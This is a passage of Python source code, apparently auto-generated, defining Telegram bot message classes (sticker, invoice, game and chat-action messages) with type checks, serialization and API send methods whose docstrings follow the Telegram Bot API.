TypeError('Unknown type, must be one of str, int or None.') # end if return data # end def validate_array @staticmethod def from_array(array): """ Deserialize a new ChatActionMessage from a given dictionary. :return: new ChatActionMessage instance. :rtype: ChatActionMessage """ if not array: # None or {} return None # end if data = ChatActionMessage.validate_array(array) return ChatActionMessage(**data) # end def from_array def __str__(self): """ Implements `str(chatactionmessage_instance)` """ return "ChatActionMessage(action={self.action!r}, receiver={self.receiver!r})".format(self=self) # end def __str__ def __repr__(self): """ Implements `repr(chatactionmessage_instance)` """ return "ChatActionMessage(action={self.action!r}, receiver={self.receiver!r})".format(self=self) # end def __repr__ def __contains__(self, key): """ Implements `"key" in chatactionmessage_instance` """ return ( key in ["action", "receiver"] and hasattr(self, key) and bool(getattr(self, key, None)) ) # end def __contains__ # end class ChatActionMessage class StickerMessage(ReturnableMessageBase): """ Use this method to send static .WEBP or animated .TGS stickers. On success, the sent Message is returned. https://core.telegram.org/bots/api#sendsticker Parameters: :param sticker: Sticker to send. Pass a file_id as String to send a file that exists on the Telegram servers (recommended), pass an HTTP URL as a String for Telegram to get a .WEBP file from the Internet, or upload a new one using multipart/form-data. More info on Sending Files » :type sticker: pytgbot.api_types.sendable.files.InputFile | str|unicode Optional keyword parameters: :param receiver: Set if you want to overwrite the receiver, which automatically is the chat_id in group chats, and the from_peer id in private conversations. :type receiver: str|unicode | int :param reply_id: Set if you want to overwrite the `reply_to_message_id`, which automatically is the message triggering the bot. :type reply_id: DEFAULT_MESSAGE_ID | int :param disable_notification: Sends the message silently. Users will receive a notification with no sound. :type disable_notification: bool :param allow_sending_without_reply: Pass True, if the message should be sent even if the specified replied-to message is not found :type allow_sending_without_reply: bool :param reply_markup: Additional interface options. A JSON-serialized object for an inline keyboard, custom reply keyboard, instructions to remove reply keyboard or to force a reply from the user. :type reply_markup: pytgbot.api_types.sendable.reply_markup.InlineKeyboardMarkup | pytgbot.api_types.sendable.reply_markup.ReplyKeyboardMarkup | pytgbot.api_types.sendable.reply_markup.ReplyKeyboardRemove | pytgbot.api_types.sendable.reply_markup.ForceReply """ def __init__(self, sticker, receiver=None, reply_id=DEFAULT_MESSAGE_ID, disable_notification=None, allow_sending_without_reply=None, reply_markup=None): """ Use this method to send static .WEBP or animated .TGS stickers. On success, the sent Message is returned. https://core.telegram.org/bots/api#sendsticker Parameters: :param sticker: Sticker to send. Pass a file_id as String to send a file that exists on the Telegram servers (recommended), pass an HTTP URL as a String for Telegram to get a .WEBP file from the Internet, or upload a new one using multipart/form-data. More info on Sending Files » :type sticker: pytgbot.api_types.sendable.files.InputFile | str|unicode Optional keyword parameters: :param receiver: Set if you want to overwrite the receiver, which automatically is the chat_id in group chats, and the from_peer id in private conversations. :type receiver: str|unicode | int :param reply_id: Set if you want to overwrite the `reply_to_message_id`, which automatically is the message triggering the bot. :type reply_id: DEFAULT_MESSAGE_ID | int :param disable_notification: Sends the message silently. Users will receive a notification with no sound. :type disable_notification: bool :param allow_sending_without_reply: Pass True, if the message should be sent even if the specified replied-to message is not found :type allow_sending_without_reply: bool :param reply_markup: Additional interface options. A JSON-serialized object for an inline keyboard, custom reply keyboard, instructions to remove reply keyboard or to force a reply from the user. :type reply_markup: pytgbot.api_types.sendable.reply_markup.InlineKeyboardMarkup | pytgbot.api_types.sendable.reply_markup.ReplyKeyboardMarkup | pytgbot.api_types.sendable.reply_markup.ReplyKeyboardRemove | pytgbot.api_types.sendable.reply_markup.ForceReply """ super(StickerMessage, self).__init__() from pytgbot.api_types.sendable.files import InputFile from pytgbot.api_types.sendable.reply_markup import ForceReply from pytgbot.api_types.sendable.reply_markup import InlineKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardRemove assert_type_or_raise(sticker, InputFile, unicode_type, parameter_name="sticker") self.sticker = sticker assert_type_or_raise(receiver, None, unicode_type, int, parameter_name="receiver") self.receiver = receiver assert_type_or_raise(reply_id, None, DEFAULT_MESSAGE_ID, int, parameter_name="reply_id") self.reply_id = reply_id assert_type_or_raise(disable_notification, None, bool, parameter_name="disable_notification") self.disable_notification = disable_notification assert_type_or_raise(allow_sending_without_reply, None, bool, parameter_name="allow_sending_without_reply") self.allow_sending_without_reply = allow_sending_without_reply assert_type_or_raise(reply_markup, None, InlineKeyboardMarkup, ReplyKeyboardMarkup, ReplyKeyboardRemove, ForceReply, parameter_name="reply_markup") self.reply_markup = reply_markup # custom variable for message chaining self._next_msg = None # end def __init__ def actual_send(self, sender: PytgbotApiBot, *, ignore_reply: bool = False) -> PytgbotApiMessage: """ Send the message via pytgbot. :param sender: The bot instance to send with. :type sender: pytgbot.bot.Bot :param ignore_reply: If we should not include the the `reply_to` parameter, because that already failed. :type ignore_reply: bool :rtype: PytgbotApiMessage """ return sender.send_sticker( sticker=self.sticker, chat_id=self.receiver, reply_to_message_id=self.reply_id, disable_notification=self.disable_notification, allow_sending_without_reply=self.allow_sending_without_reply, reply_markup=self.reply_markup, ) # end def send def to_array(self): """ Serializes this StickerMessage to a dictionary. :return: dictionary representation of this object. :rtype: dict """ from pytgbot.api_types.sendable.files import InputFile from pytgbot.api_types.sendable.reply_markup import ForceReply from pytgbot.api_types.sendable.reply_markup import InlineKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardRemove array = super(StickerMessage, self).to_array() if isinstance(self.sticker, InputFile): array['sticker'] = self.sticker.to_array() # type InputFile elif isinstance(self.sticker, str): array['sticker'] = u(self.sticker) # py2: type unicode, py3: type str else: raise TypeError('Unknown type, must be one of InputFile, str.') # end if if isinstance(self.receiver, str): array['chat_id'] = u(self.receiver) # py2: type unicode, py3: type str elif isinstance(self.receiver, int): array['chat_id'] = int(self.receiver) # type int else: raise TypeError('Unknown type, must be one of str, int.') # end if if isinstance(self.reply_id, DEFAULT_MESSAGE_ID): array['reply_to_message_id'] = DEFAULT_MESSAGE_ID(self.reply_id) # type DEFAULT_MESSAGE_ID elif isinstance(self.reply_id, int): array['reply_to_message_id'] = int(self.reply_id) # type int else: raise TypeError('Unknown type, must be one of DEFAULT_MESSAGE_ID, int.') # end if array['disable_notification'] = bool(self.disable_notification) # type bool array['allow_sending_without_reply'] = bool(self.allow_sending_without_reply) # type bool if isinstance(self.reply_markup, InlineKeyboardMarkup): array['reply_markup'] = self.reply_markup.to_array() # type InlineKeyboardMarkup elif isinstance(self.reply_markup, ReplyKeyboardMarkup): array['reply_markup'] = self.reply_markup.to_array() # type ReplyKeyboardMarkup elif isinstance(self.reply_markup, ReplyKeyboardRemove): array['reply_markup'] = self.reply_markup.to_array() # type ReplyKeyboardRemove elif isinstance(self.reply_markup, ForceReply): array['reply_markup'] = self.reply_markup.to_array() # type ForceReply else: raise TypeError('Unknown type, must be one of InlineKeyboardMarkup, ReplyKeyboardMarkup, ReplyKeyboardRemove, ForceReply.') # end if return array # end def to_array @staticmethod def validate_array(array): """ Builds a new array with valid values for the StickerMessage constructor. :return: new array with valid values :rtype: dict """ assert_type_or_raise(array, dict, parameter_name="array") from pytgbot.api_types.sendable.files import InputFile from pytgbot.api_types.sendable.reply_markup import ForceReply from pytgbot.api_types.sendable.reply_markup import InlineKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardRemove data = super(StickerMessage, StickerMessage).validate_array(array) if isinstance(array.get('sticker'), InputFile): data['sticker'] = InputFile.from_array(array.get('sticker')) elif isinstance(array.get('sticker'), str): data['sticker'] = u(array.get('sticker')) else: raise TypeError('Unknown type, must be one of InputFile, str.') # end if if array.get('chat_id') is None: data['receiver'] = None elif isinstance(array.get('chat_id'), str): data['receiver'] = u(array.get('chat_id')) elif isinstance(array.get('chat_id'), int): data['receiver'] = int(array.get('chat_id')) else: raise TypeError('Unknown type, must be one of str, int or None.') # end if if array.get('reply_to_message_id') is None: data['reply_id'] = None elif isinstance(array.get('reply_to_message_id'), DEFAULT_MESSAGE_ID): data['reply_id'] = DEFAULT_MESSAGE_ID elif isinstance(array.get('reply_to_message_id'), int): data['reply_id'] = int(array.get('reply_to_message_id')) else: raise TypeError('Unknown type, must be one of DEFAULT_MESSAGE_ID, int or None.') # end if data['disable_notification'] = bool(array.get('disable_notification')) if array.get('disable_notification') is not None else None data['allow_sending_without_reply'] = bool(array.get('allow_sending_without_reply')) if array.get('allow_sending_without_reply') is not None else None if array.get('reply_markup') is None: data['reply_markup'] = None elif isinstance(array.get('reply_markup'), InlineKeyboardMarkup): data['reply_markup'] = InlineKeyboardMarkup.from_array(array.get('reply_markup')) elif isinstance(array.get('reply_markup'), ReplyKeyboardMarkup): data['reply_markup'] = ReplyKeyboardMarkup.from_array(array.get('reply_markup')) elif isinstance(array.get('reply_markup'), ReplyKeyboardRemove): data['reply_markup'] = ReplyKeyboardRemove.from_array(array.get('reply_markup')) elif isinstance(array.get('reply_markup'), ForceReply): data['reply_markup'] = ForceReply.from_array(array.get('reply_markup')) else: raise TypeError('Unknown type, must be one of InlineKeyboardMarkup, ReplyKeyboardMarkup, ReplyKeyboardRemove, ForceReply or None.') # end if return data # end def validate_array @staticmethod def from_array(array): """ Deserialize a new StickerMessage from a given dictionary. :return: new StickerMessage instance. :rtype: StickerMessage """ if not array: # None or {} return None # end if data = StickerMessage.validate_array(array) return StickerMessage(**data) # end def from_array def __str__(self): """ Implements `str(stickermessage_instance)` """ return "StickerMessage(sticker={self.sticker!r}, receiver={self.receiver!r}, reply_id={self.reply_id!r}, disable_notification={self.disable_notification!r}, allow_sending_without_reply={self.allow_sending_without_reply!r}, reply_markup={self.reply_markup!r})".format(self=self) # end def __str__ def __repr__(self): """ Implements `repr(stickermessage_instance)` """ return "StickerMessage(sticker={self.sticker!r}, receiver={self.receiver!r}, reply_id={self.reply_id!r}, disable_notification={self.disable_notification!r}, allow_sending_without_reply={self.allow_sending_without_reply!r}, reply_markup={self.reply_markup!r})".format(self=self) # end def __repr__ def __contains__(self, key): """ Implements `"key" in stickermessage_instance` """ return ( key in ["sticker", "receiver", "reply_id", "disable_notification", "allow_sending_without_reply", "reply_markup"] and hasattr(self, key) and bool(getattr(self, key, None)) ) # end def __contains__ # end class StickerMessage class InvoiceMessage(ReturnableMessageBase): """ Use this method to send invoices. On success, the sent Message is returned. https://core.telegram.org/bots/api#sendinvoice Parameters: :param title: Product name, 1-32 characters :type title: str|unicode :param description: Product description, 1-255 characters :type description: str|unicode :param payload: Bot-defined invoice payload, 1-128 bytes. This will not be displayed to the user, use for your internal processes. :type payload: str|unicode :param provider_token: Payments provider token, obtained via Botfather :type provider_token: str|unicode :param currency: Three-letter ISO 4217 currency code, see more on currencies :type currency: str|unicode :param prices: Price breakdown, a JSON-serialized list of components (e.g. product price, tax, discount, delivery cost, delivery tax, bonus, etc.) :type prices: list of pytgbot.api_types.sendable.payments.LabeledPrice Optional keyword parameters: :param receiver: Set if you want to overwrite the receiver, which automatically is the chat_id in group chats, and the from_peer id in private conversations. :type receiver: str|unicode | int :param reply_id: Set if you want to overwrite the `reply_to_message_id`, which automatically is the message triggering the bot. :type reply_id: DEFAULT_MESSAGE_ID | int :param max_tip_amount: The maximum accepted amount for tips in the smallest units of the currency (integer, not float/double). For example, for a maximum tip of US$ 1.45 pass max_tip_amount = 145. See the exp parameter in currencies.json, it shows the number of digits past the decimal point for each currency (2 for the majority of currencies). Defaults to 0 :type max_tip_amount: int :param suggested_tip_amounts: A JSON-serialized array of suggested amounts of tips in the smallest units of the currency (integer, not float/double). At most 4 suggested tip amounts can be specified. The suggested tip amounts must be positive, passed in a strictly increased order and must not exceed max_tip_amount. :type suggested_tip_amounts: list of int :param start_parameter: Unique deep-linking parameter. If left empty, forwarded copies of the sent message will have a Pay button, allowing multiple users to pay directly from the forwarded message, using the same invoice. If non-empty, forwarded copies of the sent message will have a URL button with a deep link to the bot (instead of a Pay button), with the value used as the start parameter :type start_parameter: str|unicode :param provider_data: A JSON-serialized data about the invoice, which will be shared with the payment provider. A detailed description of required fields should be provided by the payment provider. :type provider_data: str|unicode :param photo_url: URL of the product photo for the invoice. Can be a photo of the goods or a marketing image for a service. People like it better when they see what they are paying for. :type photo_url: str|unicode :param photo_size: Photo size :type photo_size: int :param photo_width: Photo width :type photo_width: int :param photo_height: Photo height :type photo_height: int :param need_name: Pass True, if you require the user's full name to complete the order :type need_name: bool :param need_phone_number: Pass True, if you require the user's phone number to complete the order :type need_phone_number: bool :param need_email: Pass True, if you require the user's email address to complete the order :type need_email: bool :param need_shipping_address: Pass True, if you require the user's shipping address to complete the order :type need_shipping_address: bool :param send_phone_number_to_provider: Pass True, if user's phone number should be sent to provider :type send_phone_number_to_provider: bool :param send_email_to_provider: Pass True, if user's email address should be sent to provider :type send_email_to_provider: bool :param is_flexible: Pass True, if the final price depends on the shipping method :type is_flexible: bool :param disable_notification: Sends the message silently. Users will receive a notification with no sound. :type disable_notification: bool :param allow_sending_without_reply: Pass True, if the message should be sent even if the specified replied-to message is not found :type allow_sending_without_reply: bool :param reply_markup: A JSON-serialized object for an inline keyboard. If empty, one 'Pay total price' button will be shown. If not empty, the first button must be a Pay button. :type reply_markup: pytgbot.api_types.sendable.reply_markup.InlineKeyboardMarkup """ def __init__(self, title, description, payload, provider_token, currency, prices, receiver=None, reply_id=DEFAULT_MESSAGE_ID, max_tip_amount=None, suggested_tip_amounts=None, start_parameter=None, provider_data=None, photo_url=None, photo_size=None, photo_width=None, photo_height=None, need_name=None, need_phone_number=None, need_email=None, need_shipping_address=None, send_phone_number_to_provider=None, send_email_to_provider=None, is_flexible=None, disable_notification=None, allow_sending_without_reply=None, reply_markup=None): """ Use this method to send invoices. On success, the sent Message is returned. https://core.telegram.org/bots/api#sendinvoice Parameters: :param title: Product name, 1-32 characters :type title: str|unicode :param description: Product description, 1-255 characters :type description: str|unicode :param payload: Bot-defined invoice payload, 1-128 bytes. This will not be displayed to the user, use for your internal processes. :type payload: str|unicode :param provider_token: Payments provider token, obtained via Botfather :type provider_token: str|unicode :param currency: Three-letter ISO 4217 currency code, see more on currencies :type currency: str|unicode :param prices: Price breakdown, a JSON-serialized list of components (e.g. product price, tax, discount, delivery cost, delivery tax, bonus, etc.) :type prices: list of pytgbot.api_types.sendable.payments.LabeledPrice Optional keyword parameters: :param receiver: Set if you want to overwrite the receiver, which automatically is the chat_id in group chats, and the from_peer id in private conversations. :type receiver: str|unicode | int :param reply_id: Set if you want to overwrite the `reply_to_message_id`, which automatically is the message triggering the bot. :type reply_id: DEFAULT_MESSAGE_ID | int :param max_tip_amount: The maximum accepted amount for tips in the smallest units of the currency (integer, not float/double). For example, for a maximum tip of US$ 1.45 pass max_tip_amount = 145. See the exp parameter in currencies.json, it shows the number of digits past the decimal point for each currency (2 for the majority of currencies). Defaults to 0 :type max_tip_amount: int :param suggested_tip_amounts: A JSON-serialized array of suggested amounts of tips in the smallest units of the currency (integer, not float/double). At most 4 suggested tip amounts can be specified. The suggested tip amounts must be positive, passed in a strictly increased order and must not exceed max_tip_amount. :type suggested_tip_amounts: list of int :param start_parameter: Unique deep-linking parameter. If left empty, forwarded copies of the sent message will have a Pay button, allowing multiple users to pay directly from the forwarded message, using the same invoice. If non-empty, forwarded copies of the sent message will have a URL button with a deep link to the bot (instead of a Pay button), with the value used as the start parameter :type start_parameter: str|unicode :param provider_data: A JSON-serialized data about the invoice, which will be shared with the payment provider. A detailed description of required fields should be provided by the payment provider. :type provider_data: str|unicode :param photo_url: URL of the product photo for the invoice. Can be a photo of the goods or a marketing image for a service. People like it better when they see what they are paying for. :type photo_url: str|unicode :param photo_size: Photo size :type photo_size: int :param photo_width: Photo width :type photo_width: int :param photo_height: Photo height :type photo_height: int :param need_name: Pass True, if you require the user's full name to complete the order :type need_name: bool :param need_phone_number: Pass True, if you require the user's phone number to complete the order :type need_phone_number: bool :param need_email: Pass True, if you require the user's email address to complete the order :type need_email: bool :param need_shipping_address: Pass True, if you require the user's shipping address to complete the order :type need_shipping_address: bool :param send_phone_number_to_provider: Pass True, if user's phone number should be sent to provider :type send_phone_number_to_provider: bool :param send_email_to_provider: Pass True, if user's email address should be sent to provider :type send_email_to_provider: bool :param is_flexible: Pass True, if the final price depends on the shipping method :type is_flexible: bool :param disable_notification: Sends the message silently. Users will receive a notification with no sound. :type disable_notification: bool :param allow_sending_without_reply: Pass True, if the message should be sent even if the specified replied-to message is not found :type allow_sending_without_reply: bool :param reply_markup: A JSON-serialized object for an inline keyboard. If empty, one 'Pay total price' button will be shown. If not empty, the first button must be a Pay button. :type reply_markup: pytgbot.api_types.sendable.reply_markup.InlineKeyboardMarkup """ super(InvoiceMessage, self).__init__() from pytgbot.api_types.sendable.payments import LabeledPrice from pytgbot.api_types.sendable.reply_markup import InlineKeyboardMarkup assert_type_or_raise(title, unicode_type, parameter_name="title") self.title = title assert_type_or_raise(description, unicode_type, parameter_name="description") self.description = description assert_type_or_raise(payload, unicode_type, parameter_name="payload") self.payload = payload assert_type_or_raise(provider_token, unicode_type, parameter_name="provider_token") self.provider_token = provider_token assert_type_or_raise(currency, unicode_type, parameter_name="currency") self.currency = currency assert_type_or_raise(prices, list, parameter_name="prices") self.prices = prices assert_type_or_raise(receiver, None, unicode_type, int, parameter_name="receiver") self.receiver = receiver assert_type_or_raise(reply_id, None, DEFAULT_MESSAGE_ID, int, parameter_name="reply_id") self.reply_id = reply_id assert_type_or_raise(max_tip_amount, None, int, parameter_name="max_tip_amount") self.max_tip_amount = max_tip_amount assert_type_or_raise(suggested_tip_amounts, None, list, parameter_name="suggested_tip_amounts") self.suggested_tip_amounts = suggested_tip_amounts assert_type_or_raise(start_parameter, None, unicode_type, parameter_name="start_parameter") self.start_parameter = start_parameter assert_type_or_raise(provider_data, None, unicode_type, parameter_name="provider_data") self.provider_data = provider_data assert_type_or_raise(photo_url, None, unicode_type, parameter_name="photo_url") self.photo_url = photo_url assert_type_or_raise(photo_size, None, int, parameter_name="photo_size") self.photo_size = photo_size assert_type_or_raise(photo_width, None, int, parameter_name="photo_width") self.photo_width = photo_width assert_type_or_raise(photo_height, None, int, parameter_name="photo_height") self.photo_height = photo_height assert_type_or_raise(need_name, None, bool, parameter_name="need_name") self.need_name = need_name assert_type_or_raise(need_phone_number, None, bool, parameter_name="need_phone_number") self.need_phone_number = need_phone_number assert_type_or_raise(need_email, None, bool, parameter_name="need_email") self.need_email = need_email assert_type_or_raise(need_shipping_address, None, bool, parameter_name="need_shipping_address") self.need_shipping_address = need_shipping_address assert_type_or_raise(send_phone_number_to_provider, None, bool, parameter_name="send_phone_number_to_provider") self.send_phone_number_to_provider = send_phone_number_to_provider assert_type_or_raise(send_email_to_provider, None, bool, parameter_name="send_email_to_provider") self.send_email_to_provider = send_email_to_provider assert_type_or_raise(is_flexible, None, bool, parameter_name="is_flexible") self.is_flexible = is_flexible assert_type_or_raise(disable_notification, None, bool, parameter_name="disable_notification") self.disable_notification = disable_notification assert_type_or_raise(allow_sending_without_reply, None, bool, parameter_name="allow_sending_without_reply") self.allow_sending_without_reply = allow_sending_without_reply assert_type_or_raise(reply_markup, None, InlineKeyboardMarkup, parameter_name="reply_markup") self.reply_markup = reply_markup # custom variable for message chaining self._next_msg = None # end def __init__ def actual_send(self, sender: PytgbotApiBot, *, ignore_reply: bool = False) -> PytgbotApiMessage: """ Send the message via pytgbot. :param sender: The bot instance to send with. :type sender: pytgbot.bot.Bot :param ignore_reply: If we should not include the the `reply_to` parameter, because that already failed. :type ignore_reply: bool :rtype: PytgbotApiMessage """ return sender.send_invoice( title=self.title, description=self.description, payload=self.payload, provider_token=self.provider_token, currency=self.currency, prices=self.prices, chat_id=self.receiver, reply_to_message_id=self.reply_id, max_tip_amount=self.max_tip_amount, suggested_tip_amounts=self.suggested_tip_amounts, start_parameter=self.start_parameter, provider_data=self.provider_data, photo_url=self.photo_url, photo_size=self.photo_size, photo_width=self.photo_width, photo_height=self.photo_height, need_name=self.need_name, need_phone_number=self.need_phone_number, need_email=self.need_email, need_shipping_address=self.need_shipping_address, send_phone_number_to_provider=self.send_phone_number_to_provider, send_email_to_provider=self.send_email_to_provider, is_flexible=self.is_flexible, disable_notification=self.disable_notification, allow_sending_without_reply=self.allow_sending_without_reply, reply_markup=self.reply_markup, ) # end def send def to_array(self): """ Serializes this InvoiceMessage to a dictionary. :return: dictionary representation of this object. :rtype: dict """ from pytgbot.api_types.sendable.payments import LabeledPrice from pytgbot.api_types.sendable.reply_markup import InlineKeyboardMarkup array = super(InvoiceMessage, self).to_array() array['title'] = u(self.title) # py2: type unicode, py3: type str array['description'] = u(self.description) # py2: type unicode, py3: type str array['payload'] = u(self.payload) # py2: type unicode, py3: type str array['provider_token'] = u(self.provider_token) # py2: type unicode, py3: type str array['currency'] = u(self.currency) # py2: type unicode, py3: type str array['prices'] = PytgbotApiBot._as_array(self.prices) # type list of LabeledPrice if isinstance(self.receiver, str): array['chat_id'] = u(self.receiver) # py2: type unicode, py3: type str elif isinstance(self.receiver, int): array['chat_id'] = int(self.receiver) # type int else: raise TypeError('Unknown type, must be one of str, int.') # end if if isinstance(self.reply_id, DEFAULT_MESSAGE_ID): array['reply_to_message_id'] = DEFAULT_MESSAGE_ID(self.reply_id) # type DEFAULT_MESSAGE_ID elif isinstance(self.reply_id, int): array['reply_to_message_id'] = int(self.reply_id) # type int else: raise TypeError('Unknown type, must be one of DEFAULT_MESSAGE_ID, int.') # end if array['max_tip_amount'] = int(self.max_tip_amount) # type int array['suggested_tip_amounts'] = PytgbotApiBot._as_array(self.suggested_tip_amounts) # type list of int array['start_parameter'] = u(self.start_parameter) # py2: type unicode, py3: type str array['provider_data'] = u(self.provider_data) # py2: type unicode, py3: type str array['photo_url'] = u(self.photo_url) # py2: type unicode, py3: type str array['photo_size'] = int(self.photo_size) # type int array['photo_width'] = int(self.photo_width) # type int array['photo_height'] = int(self.photo_height) # type int array['need_name'] = bool(self.need_name) # type bool array['need_phone_number'] = bool(self.need_phone_number) # type bool array['need_email'] = bool(self.need_email) # type bool array['need_shipping_address'] = bool(self.need_shipping_address) # type bool array['send_phone_number_to_provider'] = bool(self.send_phone_number_to_provider) # type bool array['send_email_to_provider'] = bool(self.send_email_to_provider) # type bool array['is_flexible'] = bool(self.is_flexible) # type bool array['disable_notification'] = bool(self.disable_notification) # type bool array['allow_sending_without_reply'] = bool(self.allow_sending_without_reply) # type bool array['reply_markup'] = self.reply_markup.to_array() # type InlineKeyboardMarkup return array # end def to_array @staticmethod def validate_array(array): """ Builds a new array with valid values for the InvoiceMessage constructor. :return: new array with valid values :rtype: dict """ assert_type_or_raise(array, dict, parameter_name="array") from pytgbot.api_types.sendable.payments import LabeledPrice from pytgbot.api_types.sendable.reply_markup import InlineKeyboardMarkup data = super(InvoiceMessage, InvoiceMessage).validate_array(array) data['title'] = u(array.get('title')) data['description'] = u(array.get('description')) data['payload'] = u(array.get('payload')) data['provider_token'] = u(array.get('provider_token')) data['currency'] = u(array.get('currency')) data['prices'] = LabeledPrice.from_array_list(array.get('prices'), list_level=1) if array.get('chat_id') is None: data['receiver'] = None elif isinstance(array.get('chat_id'), str): data['receiver'] = u(array.get('chat_id')) elif isinstance(array.get('chat_id'), int): data['receiver'] = int(array.get('chat_id')) else: raise TypeError('Unknown type, must be one of str, int or None.') # end if if array.get('reply_to_message_id') is None: data['reply_id'] = None elif isinstance(array.get('reply_to_message_id'), DEFAULT_MESSAGE_ID): data['reply_id'] = DEFAULT_MESSAGE_ID elif isinstance(array.get('reply_to_message_id'), int): data['reply_id'] = int(array.get('reply_to_message_id')) else: raise TypeError('Unknown type, must be one of DEFAULT_MESSAGE_ID, int or None.') # end if data['max_tip_amount'] = int(array.get('max_tip_amount')) if array.get('max_tip_amount') is not None else None data['suggested_tip_amounts'] = TgBotApiObject._builtin_from_array_list(required_type=int, value=array.get('suggested_tip_amounts'), list_level=1) if array.get('suggested_tip_amounts') is not None else None data['start_parameter'] = u(array.get('start_parameter')) if array.get('start_parameter') is not None else None data['provider_data'] = u(array.get('provider_data')) if array.get('provider_data') is not None else None data['photo_url'] = u(array.get('photo_url')) if array.get('photo_url') is not None else None data['photo_size'] = int(array.get('photo_size')) if array.get('photo_size') is not None else None data['photo_width'] = int(array.get('photo_width')) if array.get('photo_width') is not None else None data['photo_height'] = int(array.get('photo_height')) if array.get('photo_height') is not None else None data['need_name'] = bool(array.get('need_name')) if array.get('need_name') is not None else None data['need_phone_number'] = bool(array.get('need_phone_number')) if array.get('need_phone_number') is not None else None data['need_email'] = bool(array.get('need_email')) if array.get('need_email') is not None else None data['need_shipping_address'] = bool(array.get('need_shipping_address')) if array.get('need_shipping_address') is not None else None data['send_phone_number_to_provider'] = bool(array.get('send_phone_number_to_provider')) if array.get('send_phone_number_to_provider') is not None else None data['send_email_to_provider'] = bool(array.get('send_email_to_provider')) if array.get('send_email_to_provider') is not None else None data['is_flexible'] = bool(array.get('is_flexible')) if array.get('is_flexible') is not None else None data['disable_notification'] = bool(array.get('disable_notification')) if array.get('disable_notification') is not None else None data['allow_sending_without_reply'] = bool(array.get('allow_sending_without_reply')) if array.get('allow_sending_without_reply') is not None else None data['reply_markup'] = InlineKeyboardMarkup.from_array(array.get('reply_markup')) if array.get('reply_markup') is not None else None return data # end def validate_array @staticmethod def from_array(array): """ Deserialize a new InvoiceMessage from a given dictionary. :return: new InvoiceMessage instance. :rtype: InvoiceMessage """ if not array: # None or {} return None # end if data = InvoiceMessage.validate_array(array) return InvoiceMessage(**data) # end def from_array def __str__(self): """ Implements `str(invoicemessage_instance)` """ return "InvoiceMessage(title={self.title!r}, description={self.description!r}, payload={self.payload!r}, provider_token={self.provider_token!r}, currency={self.currency!r}, prices={self.prices!r}, receiver={self.receiver!r}, reply_id={self.reply_id!r}, max_tip_amount={self.max_tip_amount!r}, suggested_tip_amounts={self.suggested_tip_amounts!r}, start_parameter={self.start_parameter!r}, provider_data={self.provider_data!r}, photo_url={self.photo_url!r}, photo_size={self.photo_size!r}, photo_width={self.photo_width!r}, photo_height={self.photo_height!r}, need_name={self.need_name!r}, need_phone_number={self.need_phone_number!r}, need_email={self.need_email!r}, need_shipping_address={self.need_shipping_address!r}, send_phone_number_to_provider={self.send_phone_number_to_provider!r}, send_email_to_provider={self.send_email_to_provider!r}, is_flexible={self.is_flexible!r}, disable_notification={self.disable_notification!r}, allow_sending_without_reply={self.allow_sending_without_reply!r}, reply_markup={self.reply_markup!r})".format(self=self) # end def __str__ def __repr__(self): """ Implements `repr(invoicemessage_instance)` """ return "InvoiceMessage(title={self.title!r}, description={self.description!r}, payload={self.payload!r}, provider_token={self.provider_token!r}, currency={self.currency!r}, prices={self.prices!r}, receiver={self.receiver!r}, reply_id={self.reply_id!r}, max_tip_amount={self.max_tip_amount!r}, suggested_tip_amounts={self.suggested_tip_amounts!r}, start_parameter={self.start_parameter!r}, provider_data={self.provider_data!r}, photo_url={self.photo_url!r}, photo_size={self.photo_size!r}, photo_width={self.photo_width!r}, photo_height={self.photo_height!r}, need_name={self.need_name!r}, need_phone_number={self.need_phone_number!r}, need_email={self.need_email!r}, need_shipping_address={self.need_shipping_address!r}, send_phone_number_to_provider={self.send_phone_number_to_provider!r}, send_email_to_provider={self.send_email_to_provider!r}, is_flexible={self.is_flexible!r}, disable_notification={self.disable_notification!r}, allow_sending_without_reply={self.allow_sending_without_reply!r}, reply_markup={self.reply_markup!r})".format(self=self) # end def __repr__ def __contains__(self, key): """ Implements `"key" in invoicemessage_instance` """ return ( key in ["title", "description", "payload", "provider_token", "currency", "prices", "receiver", "reply_id", "max_tip_amount", "suggested_tip_amounts", "start_parameter", "provider_data", "photo_url", "photo_size", "photo_width", "photo_height", "need_name", "need_phone_number", "need_email", "need_shipping_address", "send_phone_number_to_provider", "send_email_to_provider", "is_flexible", "disable_notification", "allow_sending_without_reply", "reply_markup"] and hasattr(self, key) and bool(getattr(self, key, None)) ) # end def __contains__ # end class InvoiceMessage class GameMessage(ReturnableMessageBase): """ Use this method to send a game. On success, the sent Message is returned. https://core.telegram.org/bots/api#sendgame Parameters: :param game_short_name: Short name of the game, serves as the unique identifier for the game. Set up your games via Botfather. :type game_short_name: str|unicode Optional keyword parameters: :param receiver: Set if you want to overwrite the receiver, which automatically is the chat_id in group chats, and the from_peer id in private conversations. :type receiver: str|unicode | int :param reply_id: Set if you want to overwrite the `reply_to_message_id`, which automatically is the message triggering the bot. :type reply_id: DEFAULT_MESSAGE_ID | int :param disable_notification: Sends the message silently. Users will receive a notification with no sound. :type disable_notification: bool :param allow_sending_without_reply: Pass True, if the message should be sent even if the specified replied-to message is not found :type allow_sending_without_reply: bool :param reply_markup: A JSON-serialized object for an inline keyboard. If empty, one 'Play game_title' button will be shown. If not empty, the first button must launch the game. :type reply_markup: pytgbot.api_types.sendable.reply_markup.InlineKeyboardMarkup """ def __init__(self, game_short_name, receiver=None, reply_id=DEFAULT_MESSAGE_ID, disable_notification=None, allow_sending_without_reply=None, reply_markup=None): """ Use this method to send a game. On success, the sent Message is returned. https://core.telegram.org/bots/api#sendgame Parameters: :param game_short_name: Short name of the game, serves as the unique identifier for the game. Set up your games via Botfather. :type game_short_name: str|unicode Optional keyword parameters: :param receiver: Set if you want to overwrite the receiver, which automatically is the chat_id in group chats, and the from_peer id in private conversations. :type receiver: str|unicode | int :param reply_id: Set if you want to overwrite the `reply_to_message_id`, which automatically is the message triggering the bot. :type reply_id: DEFAULT_MESSAGE_ID | int :param disable_notification: Sends the message silently. Users will receive a notification with no sound. :type disable_notification: bool :param allow_sending_without_reply: Pass True, if the message should be sent even if the specified replied-to message is not found :type allow_sending_without_reply: bool :param reply_markup: A JSON-serialized object for an inline keyboard. If empty, 